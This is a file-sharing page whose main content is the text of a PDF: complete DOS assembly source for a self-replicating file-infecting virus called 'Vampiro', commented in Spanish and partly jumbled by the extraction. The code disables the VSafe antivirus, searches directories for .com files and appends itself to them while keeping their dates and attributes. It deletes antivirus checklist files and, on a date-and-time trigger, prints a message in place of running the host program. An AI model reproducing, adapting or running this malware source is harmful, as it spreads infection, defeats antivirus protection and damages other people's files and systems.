Vampiro

  • November 2019
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Vampiro as PDF for free.

More details

  • Words: 1,637
  • Pages: 7
.286c codigo segment 'code' org 100h assume cs:codigo,ds:codigo,es:codigo start proc far comienzo: push cs ;guardo cs push cs ;guardo cs pop ds ;ds<==cs pop es ;es<==cs call falso_proc falso_proc pop sub

falso_proc proc near endp bp bp, 107h

;llamo al proc. para que me ; quede en la pila la direccion ; del proc.

;bp<== direccion del proc. ;bp<== bp - dir. anterior.

;============================desinstalar el vsafe============================== mov dx, 5945h ;desinstalar vsafe. mov ax, 0fa01h int 21h ;=============================chequeo de playload============================== ;chequeo la fecha ------------------------------------------------------------mov ah, 2ah ;obtener fecha actual. int 21h ;devuelve en: cmp dh, 06d ;dh<== mes. jb intercambio ;si dh es menor que 6 (junio), ; no hago nada. ;<------ si llego aca, es porque es ; mayor que junio. ;chequeo la mov int cmp jb

jmp

hora -------------------------------------------------------------ah, 2ch ;obtener la hora actual. 21h ;devuelve en: ch, 22d ;ch<== hora. intercambio ;si ch es menor que 22hs, salto ; a intercambio. ;<------ si llego hasta aca, es porque ;cumple con las condiciones. playload ;voy al playload.

;================================intercambio=================================== intercambio: cld ;seteo el direction flag para ; que copie hacia delante mov cx, 7 ;cantidad de bytes. (7). lea si, [bp+buffer] ;si<== offset de buffer. lea di, [bp+buffer_act] ;di<== offset de buffer_act. rep movsb ;copia. ;ahora en buffer_act tengo ; el contenido de buffer. ;salvar el dta original ------------------------------------------------------mov cx, 43d ;cantidad de bytes a copiar.

lea mov rep

di, bp+dta_org si, 0080h movsb

;di<== offset del dta_org ;si<== offset comienzo del dta ;copia 43 bytes.

;============================programa de busqueda============================== ;guardar directorio original -------------------------------------------------mov ah, 47h ;obtener directorio actual. mov dl, 0 ;unidad por defecto. ;devuelve en ds:si el path ;sin unidad ni barra. lea si, bp+directorio_original+1 ;si<== offset directorio_org. int 21h ;buscar la primer entrada ----------------------------------------------------buscar: mov ah, 4eh ;buscar primer entrada. lea dx, bp+directorio ;ds:dx= direccion de directorio mov cx, 00010000b ;con atributo de directorio int 21h ;verificar si es un directorio -----------------------------------------------verificar: push 0095h ;pusheo el offset del dta ; de los atributos pop bx ;y lo guardo en bx mov al, [bx] ;le paso a al (nibble donde ; se encuentra el bit de ; directorio) el contenido de ; bx (bits de atributos). shr ax, 4 ;muevo a ax 4 bits a la derecha ; para poner en 0 a los mas ; significativos que el bit de ; directorio. shl ax, 7 ;muevo a ax 7 bits a la izq. ; para poner en 0 los menos ; significativos que directorio cmp ax, 10000000b ;comparo ax con 10000000, donde ; el 1 es el bit de directorio. jne dir ;verificar si el directorio es relativo ("." o "..") -------------------------lea mov

si, bp+actual di, 009eh

cmpsb je mov lea mov

dir cx, 0002h si, bp+retroceso di, 009eh

repe je

cmpsb dir

;si<== offset de actual ;di<== offset del dta donde ; esta el filename. ;comparo 1 byte. ;si coincidio, voy a dir. ;cx<== 1. comparo 2 bytes. ;si<== offset de retroceso ;di<== offset del dta donde ; esta el filename. ;repite mientras coinciden. ;si coincidieron, salto a dir.

;cambiar de directorio -------------------------------------------------------cambio: mov ah, 3bh ;cambiar de directorio. mov dx, 009eh ;ds:dx= offset del dta

int

21h

;salvar el dta actual --------------------------------------------------------mov cx, 43d ;cantidad de bytes a copiar. lea di, bp+dta ;di<== offset del dta_org mov si, 0080h ;si<== offset comienzo del dta rep movsb ;copia 43 bytes. ;buscar el primer file -------------------------------------------------------mov ah, 4eh ;buscasr 1er file. lea dx, bp+file_inf ;ds:dx= offset de file_inf mov cx, 0 ;atributos de la entrada. int 21h jc retro2 ;si encontro algun file, salta ; a file_a_infectar. ;<----- si llego hasta aca es porque ;no encontro ningun file. jmp file_a_infectar ;salto a retro. ;buscar el proximo file ------------------------------------------------------search: mov ah, 4fh ;busca el proximo file. int 21h jc retro2 ;si encontro algun file, salta jmp file_a_infectar ; a file_a_infectar. ;retroceder de directorio ----------------------------------------------------retro: mov ah, 3bh ;cambiar de directorio. lea dx, bp+retroceso ;dx<== offset de retroceso. int 21h jnc buscar jmp no_infectar ;retroceder de directorio ----------------------------------------------------retro2: mov ah, 3bh ;cambiar de directorio. lea dx, bp+retroceso ;dx<== offset de retroceso. int 21h jnc act_dta jmp no_infectar ;buscar el proximo directorio ------------------------------------------------dir: mov ah, 4fh ;buscar la proxima entrada. int 21h jnc verificar jmp retro ;actualizo dta ---------------------------------------------------------------act_dta: mov cx, 43d ;cantidad de bytes a copiar. lea si, bp+dta ;si<== offset de var. dta. mov di, 0080h ;di<== offset del comienzo dta. rep movsb ;copia 43 bytes. jmp dir ;========================fin de programa de busqueda===========================

;==============================infectar file=================================== file_a_infectar: ;comprobar que no sea el command.com -----------------------------------------mov cx, 12d ;son 12 bytes. mov si, 009eh ;si<== offset del filename dta. lea di, bp+command ;di<== offset command. repe cmpsb ;compara. jne continuar ;si hay error, salta continuar. jmp search ;si no, salta a search. ;verificar longitud ----------------------------------------------------------continuar: mov cx, 2 ;copiar 2 bytes. mov si, 009ah ;si<== offset del dta (long.). lea di, bp+longitud ;di<== offset de longitud. rep movsb ;copia. sub word ptr [bp+longitud], 3 ;resto 3 bytes a [longitud]. ;comprobar longitud que no sea mayor a 64000 bytes----------------------------cmp word ptr [bp+longitud], 64000d ;comparo longitud con 64000. jb c ;si long. es menor, salto a c. jmp search ;si no, salto a search. ;guardar atributos del file --------------------------------------------------c: mov ax, 4300h ;obtener atributos. mov dx, 009eh ;dx<== offset del filename dta. int 21h ;devuelve atribs. en cx. mov word ptr [bp+atributos],cx ;paso cx a atributos. ;setear atributos a r/w ------------------------------------------------------mov ax, 4301h ;setear atributos. mov cx, 0000h ;seteo atrib. a "normal" int 21h ;abrir file ------------------------------------------------------------------mov ah, 3dh ;abro file. mov al, 00000010b ;para lectura/escritura. mov dx, 009eh ;dx<== offset del dta(filename) int 21h ;el handle viene al ax. push ax ;lo guardo. ;leo los 7 primeros bytes ----------------------------------------------------pop bx ;paso el handle a bx. push bx ;y lo guardo. mov ah, 3fh ;leer file. mov cx, 0007h ;leer 7 bytes. lea dx, bp+buffer ;para guardarlo en el buffer. int 21h ;comprobar mz ----------------------------------------------------------------cmp word ptr [bp+buffer],'zm' ;comparo con zm. jne d jmp cerrar ;comprobar infeccion ----------------------------------------------------------

d: mov lea lea add repe jne

cx, 4d si, bp+string di, bp+buffer di, 3d cmpsb infectar

;son 4 bytes. ;comparar la var. string. ;con la var. buffer. ;salterar los 3 primeros bytes. ;realiza comparacion. ;te caga el file.

;cerrar file porque esta apestado --------------------------------------------cerrar: pop bx ;saco el handle. push bx ;y lo guardo. mov ah, 3eh ;cerrar file. int 21h ;restauro atributos del file original ----------------------------------------mov ax, 4301h ;restauro atributos originales. mov cx, word ptr [bp+atributos] ;cx<== atributos. mov dx, 009eh ;dx<== offset del filename dta. int 21h jmp search ;=============================infectar en si=================================== infectar: ;guardar fecha del file ------------------------------------------------------pop bx ;bx<== handle. push bx ;stack<== handle. mov ax, 5700h ;obtener fecha. ;devuelve en cx y dx. int 21h mov word ptr [bp+fecha],cx ;paso cx a fecha. mov word ptr [bp+fecha+2],dx ;paso dx a fecha+2. ;mover puntero al principio --------------------------------------------------mov ax, 4200h ;muevo el puntero de escritura ; al principio del prog. mov cx, 0000h mov dx, 0000h int 21h ;escrivo el primer byte(jmp) -------------------------------------------------mov ah, 40h ;escribir el 1er. byte. mov cx, 1d ;cantidad=1. lea dx, bp+jump ;dx<== offset de jump int 21h ;escrivo longitud mov ah, mov cx, lea dx, int 21h

o sea, completo el jmp -------------------------------------40h ;escribo. 2d ;cantidad de bytes. bp+longitud ;dx<== offset de longitud.

;escrivo los 4 del string ----------------------------------------------------mov ah, 40h ;escribo. mov cx, 4d ;cantidad. lea dx, bp+string ;dx<== offset de string. int 21h

;mover puntero al final ------------------------------------------------------mov ax, 4202h ;muevo el puntero de escritura ; al final del prog. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;restauro longitud. ;copio el virus al programa --------------------------------------------------pop bx ;restauro el handle. mov ah, 40h ;servicio. mov cx, 1000d ;cantidad de bytes a copiar. ;realmente son 874 bytes, pero ; agregamos hasta 1000 de ; basura. lea dx, bp+comienzo ;copiar desde... int 21h ;restauro la fecha del file original -----------------------------------------mov ax, 5701h ;restauro fecha original. mov cx, word ptr [bp+fecha] ;paso fecha a cx. mov dx, word ptr [bp+fecha+2] ;paso fecha+2 a dx. int 21h ;cierro el file luego de haberlo infectado -----------------------------------mov ah, 3eh ;cerrar file. int 21h ;restauro atributos del file original ----------------------------------------mov ax, 4301h ;restauro atributos originales. mov cx, word ptr [bp+atributos] ;cx<== atributos. mov dx, 009eh ;dx<== offset del filename dta. int 21h ;===============================borrar checklists============================== ;setear atributos a r/w ------------------------------------------------------mov ax, 4301h ;setear atributos. mov cx, 0000h ;seteo atrib. a "normal" lea dx, bp+checklist ;dx<== offset de checklist. int 21h ;borrar directamente el checklist --------------------------------------------mov ah,41h ;servicio. int 21h ;=============================no infectar nada================================= no_infectar: ;========================volver al directorio original========================= ;volver al directorio original------------------------------------------------mov ah, 3bh ;cambiar de directorio. lea dx, bp+directorio_original ;dx<== offset de retroceso. int 21h ;actualizar todo el dta ------------------------------------------------------mov cx, 43d ;cantidad de bytes a copiar. lea si, bp+dta_org ;si<== offset de var. dta.

mov rep

di, 0080h movsb

;di<== offset del comienzo dta. ;copia 43 bytes.

;=======================devuelve el control al anfitrion======================= ;copiar el buffer con los 7 primeros byte del file a memoria -----------------mov cx, 0007h ;cantidad de bytes (7). mov di, 0100h ;di<== offset 100h. comienzo ; del prog. en memoria. lea si, bp+buffer_act ;si<== offset del buffer_act. rep movsb ;copia. ;saltar al offset 100h -------------------------------------------------------mov jmp

ax, 0100h ax

;direccion para ejecucion del ; anfitrion.

;=================================playload===================================== playload: mov ah, 09h ;imprimir cadena. lea dx, bp+mensaje ;dx<== offset de mensaje. int 21h ; mov int

ah, 4ch 21h

;terminar y no ejecutar el file ; una mierda.

start endp ;==============================area de datos=================================== buffer buffer_act db dta db dta_org longitud db fecha db atributos db directorio_original mensaje directorio actual retroceso file_inf checklist string jump command codigo end

ends start

db db db db db db

db 7d dup(0) 7d dup(0) 43d dup(0) db 43d dup(0) 2 dup(0) 4 dup(0) 2 dup(0) db '\',64 dup(0) db 'zarathustra & drako les comunican que llego la ' db 'hora de ir a dormir. shh! ' 'vampiro virus.$' '*.*',0 db '.',0 '..',0 '*.com',0 'chklist.ms',0 db '???',0 '?',0 db 'command.com',0

Related Documents

Vampiro
November 2019 16
Vampiro
November 2019 11
O Vampiro
May 2020 3
Vampiro Negro.docx
April 2020 6
Vampiro Negro.docx
April 2020 7